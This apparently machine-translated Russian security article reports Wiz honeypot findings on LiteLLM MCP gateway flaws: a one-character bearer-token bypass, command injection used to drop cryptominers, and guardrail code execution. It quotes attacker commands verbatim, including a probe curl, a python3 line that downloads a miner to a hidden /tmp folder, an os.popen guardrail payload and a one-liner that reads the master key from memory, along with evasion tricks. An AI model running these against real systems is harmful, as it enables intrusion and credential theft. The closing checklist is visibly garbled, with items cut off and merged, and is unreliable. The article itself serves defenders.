Как однокарточный токен-носитель привел к уязвимости в шлюзе MCP LiteLLM
Ханипоты позволили обнаружить злоумышленников, использующих уязвимости в обход аутентификации LiteLLM MCP и ошибки выполнения кода. Приведена цепочка атаки и шестиступенчатый чек-лист для усиления защиты.
Источники: A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway
В течение 90 дней компания Wiz Research использовала имитационные серверы, воспроизводящие реальные инструменты искусственного интеллекта, такие как LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, OpenWebUI и Node-RED, чтобы отследить, кто пытается взломать систему. Действительно, появились атакующие. Однако ключевой проблемой оказался не уязвимость типа «zero-day», а ошибка в механизме обработки ошибок протокола Model Context Protocol (MCP) у LiteLLM, при которой сообщение «Я не распознаю этот токен» интерпретировалось как «Этот токен в порядке». Для проникновения достаточно было токена Bearer длиной в один символ. LiteLLM — популярный шлюз, позволяющий приложениям взаимодействовать с несколькими поставщиками моделей через один конечный пункт, поэтому команды, использующие его, должны уделить этому десять минут.
Обход с использованием одного символа
Эта уязвимость имеет идентификатор CVE-2026-59822. Конечная точка MCP в LiteLLM предназначена для проверки токена Bearer перед тем, как разрешить доступ к каждому серверу MCP, подключенному организацией, такому как Jira, Slack, внутренние базы данных и пайплайны CI/CD. При наличии ошибки в логике обработки токен, не прошедший стандартную проверку LiteLLM, приводил к ошибке 401; код зафиксировал эту ошибку и вернул пустой объект авторизации. Пустой объект не означает отказ в доступе — это означает, что авторизация произошла от имени никого конкретного, и слой MCP принял это.
Запрос, отправленный злоумышленниками для тестирования, был максимально минимален с точки зрения размера:
# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models
Если в ответе присутствовала заголовочная информация mcp-session-id, это означало, что сессия была открыта, имелся доступ ко всем инструментам MCP, к которым мог обратиться прокси, но не было действительных учетных данных. Ханипоты фиксировали происходящие попытки сканирования, и данный CVE попал в список известных эксплуатируемых уязвимостей CISA.
От открытой сессии до криптомайнера
Сама по себе открытая сессия MCP уже была серьезной проблемой, но злоумышленники использовали её как основу для дальнейших атак. Wiz задокументировал способ обхода защиты, связанный с CVE-2026-42271 — ошибкой вставки команд в тестовых и конфигурационных эндпоинтах MCP, при которой специально составленная конфигурация сервера приводила к запуску небезопасных вспомогательных процессов. Схема действий была простой: регистрировалась фиктивная конфигурация MCP, которая запускала процесс загрузки и выполнения криптомайнера, после чего удалялась временная директория, чтобы простой запрос ls ничего не показывал. Типичный шаг загрузки выглядел следующим образом:
python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"
Часть этих действий связана с группой угроз Qilin. Привычки обхода защиты важнее, чем номера CVE. Майнеры размещались в папке /tmp/.dbus-cache/, бинарные файлы переименовывались в такие названия, как unicorn, а в одной из кампаний полезная нагрузка помещалась в папку /app/data/.claude/, структура которой имитировала каталог настроек Claude Code, чтобы это выглядело как обычные инструменты, а не признак вторжения.
Вторая ошибка: выполнение кода через механизмы защиты
У LiteLLM была отдельная, не менее серьезная проблема — CVE-2026-59821, связанная с пользовательскими механизмами контроля. Эта функция позволяет администраторам загружать фрагменты кода на Python для проверки входящих запросов. Конечная точка загрузки компилировала и выполняла эти фрагменты с использованием exec(compile(...)), оставляя объект __builtins__ без изменений и позволяя выполнять любые импорты. Таким образом, административная сессия или неавторизованная сессия, как описано далее, могли зарегистрировать фальшивый механизм контроля, например:
import os
_cmd = os.popen('id').read().strip()
и получать результат выполнения команды обратно в поле block-reason последующего ответа. Версия 1.82.0 исправляет эту проблему путем обязательного применения роли администратора к конечным точкам guardrail и удаления элемента __builtins__ перед компиляцией. При более старой версии критически важно внести патч, поскольку следующая проблема усугубит ситуацию.
Стандартные настройки, позволившие решению вступить в действие
То, что превращает это в инцидент, а не в обычное исправление: поскольку мастер-ключ не был установлен, LiteLLM раньше относился ко всем запросам как к PROXY_ADMIN. Это не был режим только для чтения или ограниченный доступ — это были полномочия администратора, включая возможность использования guardrails endpoint. К тому же многие версии приложения вообще не устанавливали такой ключ. Когда исследователи сканировали публичные экземпляры, примерно каждый десятый (9,6% из 3 074) либо продолжал использовать стандартный ключ sk-1234, либо вообще ничего не проверял. Если добавить к этому обход механизма MCP и баг в работе guardrails, получается несколько независимых и простых способов проникновения в одну машину.
Поиск в памяти, а не в файлах
Wiz называет последующий этап «AI-native post-exploitation», причем именно та часть, связанная с ИИ, является тем, что искали злоумышленники после получения шелла. Они направлялись к памяти запущенного процесса, а не к файлам на диске:
python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"
Эта одна строка считывает главный ключ прокси непосредственно из памяти без доступа к диску. Затем злоумышленники указывали пути конфигураций, такие как /app/litellm_config.yaml и ~/.litellm/config.yaml, определяли, какие бэкенд-модели подключены, и выбирали цели в зависимости от того, до чего может дотянуться прокси. Подобный шлюз является более ценным трофеем, чем обычный сервер приложений. Данные от Wiz показали, что один прокси часто содержит активные ключи для OpenAI, Anthropic, Azure OpenAI и Gemini одновременно, так что один считывающий операций из памяти раскрывает информацию о четырех поставщиках.
Чек-лист вместо номеров CVE
- Проверьте версию. LiteLLM 1.84.0 и новее устраняют проблему обхода MCP, а 1.82.0 и новее — ошибку в выполнении механизмов защиты. Если у вас устаревшие версии, запланируйте время на обновление.
sk-1234 или пустым. Выполните команду echo $LITELLM_MASTER_KEY и убедитесь, что это не стандартный значение из учебника, вставленное давно назад.PROXY_ADMIN. После применения обновления стандартной ролью становится INTERNAL_USER, но существующие развертывания не переводятся в эту роль автоматически, поэтому вручную проверьте назначение ролей.curl или python3 -c, что чаще фиксировалось, чем в логах доступа.Шлюз на основе ИИ заслуживает того, чтобы с ним обращались как с настоящим хранилищем учетных данных, а не как с удобным прокси, установленным один раз и забытым. Ошибка в авторизации не была чем-то необычным — это была конструкция try/except, поглощавшая неверную ошибку, и злоумышленники уже использовали её в реальных атаках.